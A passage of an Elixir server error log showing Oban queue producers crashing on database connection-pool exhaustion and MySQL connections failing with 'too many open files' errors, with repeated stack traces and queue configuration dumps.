    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:42:31.242576Z], limit: 5, uuid: "030a6a0e-7a8d-4c9d-bfab-1750a46f02e6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:31.242582Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210187>, refresh_timer: #Reference<0.2525715032.1077411843.210179>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:42:31.239665Z], limit: 50, uuid: "90b6d44c-1899-4d37-900b-dea0876fdcfd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:31.239670Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210191>, refresh_timer: #Reference<0.2525715032.1099169794.241553>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:42:31.239610Z], limit: 20, uuid: "ebf2d4ca-8520-4428-9b5b-a4216eb1b860", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:31.239615Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210188>, refresh_timer: #Reference<0.2525715032.1068236804.233255>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:44.012000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:44.654000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:45.849000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:49.429000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:53.926000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:42:43.240957Z], limit: 5, uuid: "2700f905-7da1-4fe0-a59c-ba32452119b9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:43.240963Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210555>, refresh_timer: #Reference<0.2525715032.1099169794.241683>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:42:43.241159Z], limit: 10, uuid: "44a2482a-af15-4e2b-a5f8-aea9bb762ea4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:43.241163Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210554>, refresh_timer: #Reference<0.2525715032.1099169794.241689>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:42:43.241243Z], limit: 50, uuid: "4c1f5642-c175-4fc2-9321-6331696431a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:43.241249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210550>, refresh_timer: #Reference<0.2525715032.1068236804.233304>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:42:43.241107Z], limit: 5, uuid: "efbee193-30ba-4331-974c-29b67b84544a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:43.241113Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210553>, refresh_timer: #Reference<0.2525715032.1121189889.87525>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:42:43.238900Z], limit: 3, uuid: "f80e596d-7598-47ed-b95c-eddb50338e8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:43.238907Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210551>, refresh_timer: #Reference<0.2525715032.1068236804.233273>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:42:43.241281Z], limit: 20, uuid: "8428e78b-1a26-43c6-82e2-f9db384e1ce3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:43.241286Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210552>, refresh_timer: #Reference<0.2525715032.1121189889.87534>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:56.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:57.033000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:58.325000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:58.329000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:59.683000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
